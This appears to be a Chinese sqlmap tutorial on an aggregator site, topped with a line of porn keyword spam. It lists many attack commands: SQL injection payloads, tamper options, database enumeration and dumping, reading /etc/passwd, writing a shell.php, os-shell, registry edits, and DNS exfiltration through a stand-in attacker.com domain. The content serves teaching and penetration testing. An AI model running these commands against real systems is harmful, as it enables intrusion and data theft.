日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入:6、SQLMAP的使用

發布時間:2025/3/15 数据库 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入:6、SQLMAP的使用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

6、SQLMAP的使用

  • 功能
  • 5種漏洞檢測技術
  • 特性
  • 使用
    • target類
    • request類
    • Optimization類:性能優化
    • INJECTION類
    • DETECTION
    • TECHNIQUES
    • FINGERPRINT
    • ENUMERATION
    • BRUTE FORCE
    • UDF INJECTION:自定義函數
    • FILE SYSTEM
    • OS
    • WINDOWS REGISTORY
    • GENERAL
    • MISCELLANEOUS

功能

5種漏洞檢測技術

輸入:** ’ and (select * from (select(sleep(20)))a)-- ** :通過響應時間長短判斷是否有SQL注入
堆疊:執行多條語句。用;分割語句。

特性

使用

sqlmap -hh
幫助參數

target類


get方式:

  • sqlmap -u “http://xxx.xxx.xxx” -p username -f
    -p:只檢查url中的username參數
    -f:掃描數據庫中的足跡、指紋、內容
  • sqlmap -u “http://xxx.xxx.xxx” -p username --users --dbs -a
    –users:查詢數據庫中存在的用戶
    –dbs:當前數據庫管理系統中有哪些庫
    –schema:查看源數據庫,information-schema
    -a:查詢所有信息
  • sqlmap -d “mysql://username:password@192.168.181.132:3306/dvwa” -f --users
    鏈接已有數據庫
  • vi list.txt
    sqlmap -m list.txt --dbs --users
    探測多個url
  • post方式

  • http請求文件方式
    burpsuite抓包
    vi request.txt
    sqlmap -r request.txt
  • log文件記錄方式:
    burpsuite記錄log:option—>misc—>log
    sqlmap -l log.txt
  • https掃描:

  • sqlmap -u “https://xxx.xxx.xxx” --force-ssl
  • 掃描配置文件:

  • dpkg -L sqlmap | grep sqlmap.conf
    sqlmap -c sqlmap.conf
  • request類

    常用http頭請求

  • sqlmap -u “http://1.1.1.1/a.php” --data=“user=1&pass=2” -f
    –date:常用于post請求;拼接要提交給服務器的參數
  • sqlmap -u “http://1.1.1.1/a.php” --data=“user=1;pass=2” --param-del=";" -f
    –param-del:參數分割符,默認是&,其他用該參數指定
  • sqlmap -u “http://1.1.1.1/a.php?id=1” --level 2 --cookie=“a=1;b=2” -f
    –cookie:設置cookie(檢查cookie注入點需要level>=2)
    –level:設置檢查等級(1~5)
  • Set-Cookie / --drop-set-cookie / --cookie-del
    set-cookie:服務器返回新的cookie(set-cookie)后更新
  • sqlmap -u “http://1.1.1.1/a.php” --data=“user=1&pass=2” - --user-agent=“aaa” --host=“bbb” --level 5 --referer=“cccc” --users
    –User-Agent:設置user-agent
    –host:修改host頭,檢查host注入點:level>=5
    –referer:告訴服務器該網頁是從哪個頁面鏈接過來的,檢查referer注入點:level>=3
  • sqlmap -u “http://1.1.1.1/a.php” --data=“user=1&pass=2” -f --random-agent --users --level 3
    –radom-agent:隨機使用字典中的user-agent(/usr/share/sqlmap/txt/user-agents.txt)(user-agent注入點:level>=3)
    **ps:**APP/WAF/IPS/IDS 過濾異常user-agent時報錯
  • sqlmap -u “http://1.1.1.1/a.php?id=1” --headers=“host:www.a.com
    \nUser-Agent:yuanfh” --method="get/post"

    –headers:添加自定義頭
    –method:指定提交方式

  • 基于http協議的身份認證

  • sqlmap -u “http://1.1.1.1/a.php?id=1” -p username --auth-type Basic --auth-cred "user:password"
    –auth-type:http認證方式:Basic、Digest、NTLM
    –auth-cred:認證用戶名、密碼
  • sqlmap -u “http://1.1.1.1/a.php?id=1” -p username --auth-type Basic --auth-file="ca.PEM"
    –auth-file:客戶端證書認證

  • 代理

  • sqlmap -u “http://1.1.1.1/a.php?id=1” -p username --proxy=“http://127.0.0.1:8087” --proxy-cred="username:password"
    –proxy:設置代理(goagent)
    –proxy-cred:設置代理用戶名、密碼
    –ignore-proxy:忽略系統級代理,通常用于掃描本地網絡目標;

  • 其他參數

  • sqlmap -u “http://1.1.1.1/a.php?id=1” -p username --delay 1 --timeout 10 --retries=“2” --users
    –delay:每次http(s)請求之間延遲時間,單位為秒,默認無延遲
    –timeout:請求超時時間,默認30s
    –retries:超時重試次數,默認3次
  • sqlmap -u “http://1.1.1.1/a.php?id=125” -p username --randomize=“id” --users
    –randomize:保持和id相同類型、長度的前提下,給id隨機賦值
  • sqlmap -l burp.log --scope="(www)?.target.(com|net|org)"
    sqlmap -l burp.log --scape="(19)?.168.20.(1|10|100)" --level=“3” --dbs
    –scope:過濾日志內容,通過正則表達式進行篩選
  • sqlmap --safe-url=“http://1.1.1.1/a.php?id=125” --safe-freq="10"
    –safe-url:要檢測的url
    – --safe-freq:每隔多少次進行一次正常訪問
    PS:檢測和盲注階段會產生大量的失敗請求,服務器端可能會因此銷毀session
  • sqlmap --safe-url=“http://1.1.1.1/a.php?id=125” --skip-urlencode
    默認get方法會對傳輸內容進行編碼,某些服務器不遵循RFC標準編碼,使用原始字符串提交數據
  • sqlmap -u “http://1.1.1.1/a.php?
    id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval="import
    hashlib;hash=hashlib.md5(id).hexdigest()

    –eval:每次請求前執行指定的代碼;每次請求更改或增加新的參數值(時間依賴、其他參數依賴)
    import hashlib;hash=hashlib.md5(id).hexdigest():自動計算id的hash值,然后進行編碼轉換
  • Optimization類:性能優化

  • –predict-output
    根據檢測方法,對比返回值和統計表內容,不斷縮小檢測范圍,提高檢測效率
    可檢測內容:版本名、用戶名、密碼、privieges、role、數據庫名稱、表名、列名
    與–threads參數不兼容
    **PS:**統計表: /usr/share/sqlmap/data/txt/common-outputs.txt
  • –keep-alive
    使用https長連接,性能好
    與–proxy不兼容
    長連接避免重復建立鏈接的網絡開銷,但大量長連接會嚴重占用服務器資源
  • –null-connection
    只獲取相應頁面的大小值,而非具體內容
    通常用于盲注判斷真/假,降低網絡帶寬消耗
    與–text-only參數不兼容(基于頁面內容的比較判斷真/假)
  • –threads
    最大并發線程,默認1,建議不超過10
    盲注時每個線程獲取一個字符(7次請求=一個ASCLL),獲取完成后線程結束
    與–predict-output參數不兼容
    -o
    開啟性能優化1,2,3
  • INJECTION類

  • sqlmap -u “http://xxx.xxx.xxx” -p “username,password” -f
    指定掃描參數,使–level失效
  • sqlmap -u “http://xxx.xxx.xxx” -skip “username,password” -f
    指定不想掃描的參數
  • ** sqlmap -u “http://targeturl/param1/value1*/param2/value2*/" **
    uri注入
  • sqlmap -u “http://xxx.xxx.xxx” -p “username,password” -f --dbms=“mysql” --os="linux"
    –dbms:指定數據庫類型(mysql、oracle、Microsoft SQL Server、PostgreSQL、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2)
    指定操作系統
  • –invalid-bignum/–invalid-logical
    通常sqlmap使用負值使參數失效
    使用上述參數后,失效方法為:
    bignum:使用大數使參數失效,id=999999999999
    logical:使用布爾判斷使參數失效,id=13 and 18=19
  • –no-cast
    通常榨取數據時,sqlmap將所有的結果轉化為字符串,并用空格替換null
    使用–no-cast關掉改特性
  • –no-escape
    出于混淆和避免出錯的目的,payload中使用到單引號時,使用char()進行替換
    SELECT ‘foo’ ------> SELECT CHAR(102)+CHAR(111)+CHAR(111)
    該參數關閉此功能
  • –prefix/–suffix
    前后綴
  • –temper
    混淆腳本,用于繞過應用層過濾、IPS、IDS
    目錄:/usr/share/sqlmap/tamper
  • DETECTION

  • –level:1~5
    目錄:/usr/share/sqlmap/data/xml/payloads
  • –risk:1~4
    Risk升高可造成數據篡改的風險
  • –string、–not-string、–regexp、–code、–text-only、–titles
    –string:頁面比較,基于布爾的注入檢測,依據返回頁面內容的變化判斷真假邏輯,但是有些頁面隨時間閾值變化,此時需要人為指定標識真假的字符串
  • TECHNIQUES

  • –time-sec
    基于時間的注入檢測相應延遲時間(默認5s)
  • –union-cols
    默認聯合查詢10列,隨著level升高最多支持50列
    –union-cols 6~9
  • –union-char
    聯合查詢默認使用null,極端情況下null可能失效,此時可以手動指定數值
    –union-char 123
  • –dns-domain
    攻擊者控制了dns服務器,提高數據榨取的速度
    –dns-domain attracker.com
  • –second-order
    在一個頁面注入的結果,從另一個頁面體現出來
    –second-order http://1.1.1.1/b.php
  • FINGERPRINT

  • -f、-b
    數據庫管理系統指紋信息(版本、補丁、架構)
  • ENUMERATION

  • –current-user
    當前數據庫管理系統的賬號
  • –current-db
    當前數據庫名稱
  • –dbs
    當前數據庫管理系統的數據庫名
  • –hostname
    查詢主機名
  • –users
    查詢當前數據庫的所有賬號
  • –privieges -U username
    賬戶權限查詢
  • –roles
    角色查詢
  • sqlmap -u “https://1.1.1.1/index.php?id=1” --dbs --exclude-sysdbs:查數據庫
    sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa --table:查表
    sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --columns:查表列
    sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --dump --start 3 --stop 4:查表中3~4條記錄
    sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --dump-all:查表中所有記錄
    sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --count:查表中數據個數
    sqlmap -u “https://1.1.1.1/index.php?id=1” --schema --batch --exclude-sysdbs
    sqlmap -u “https://1.1.1.1/index.php?id=1” --sql-query "select * from users"
    –schema:查詢information-schema
    –batch:查詢過程中的所有選項均為默認
    –exclude-sysdbs:排除系統層面的庫
    –dump:查詢表中記錄
    –sql-query:自定義數據庫查詢語句
  • BRUTE FORCE

    使用場景:mysql>5.0但無權讀取information-schema、mysql<5.0、微軟access但無權讀取MSysObiects

  • –common-tables:暴力破解
  • –common-colums:暴力破解(Access無列信息)
  • UDF INJECTION:自定義函數

  • –udf-inject , --shared-lib
    編譯共享庫創建并上傳至DB Server,以此生成UDF實現高級注入
    Linux --------> shared object
    Windows ----> DLL
    http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857
  • FILE SYSTEM

  • –file-read="/etc/passwd"
    讀取passwd文件
  • –file-write=“shell.php” --file-dest "/tmp/shell.php"
    寫入/上傳文件,文件+路徑
  • OS

  • Windows+mysql/postgresql:xp_cmdshell存儲過程(有就用,禁了啟、沒有建)
  • Linux+mysql:上傳共享庫并生成sys_exec()、sys_eval()倆個UDF
  • –sql-shell
  • –os-shell
  • os-cmd
  • WINDOWS REGISTORY

  • –reg-read:讀取注冊表
  • – reg-add:添加
  • –reg-del:刪除
  • –reg-key:鍵值名稱
  • –reg-value:鍵值
  • –reg-data:鍵值數據類型
  • –reg-type:鍵值類型
    sqlmap –u=“http://1.1.1.1/a.aspx?id=1” --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test –
    reg-type=REG_SZ --reg-data=1
  • GENERAL


    MISCELLANEOUS



    總結

    以上是生活随笔為你收集整理的SQL注入:6、SQLMAP的使用的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。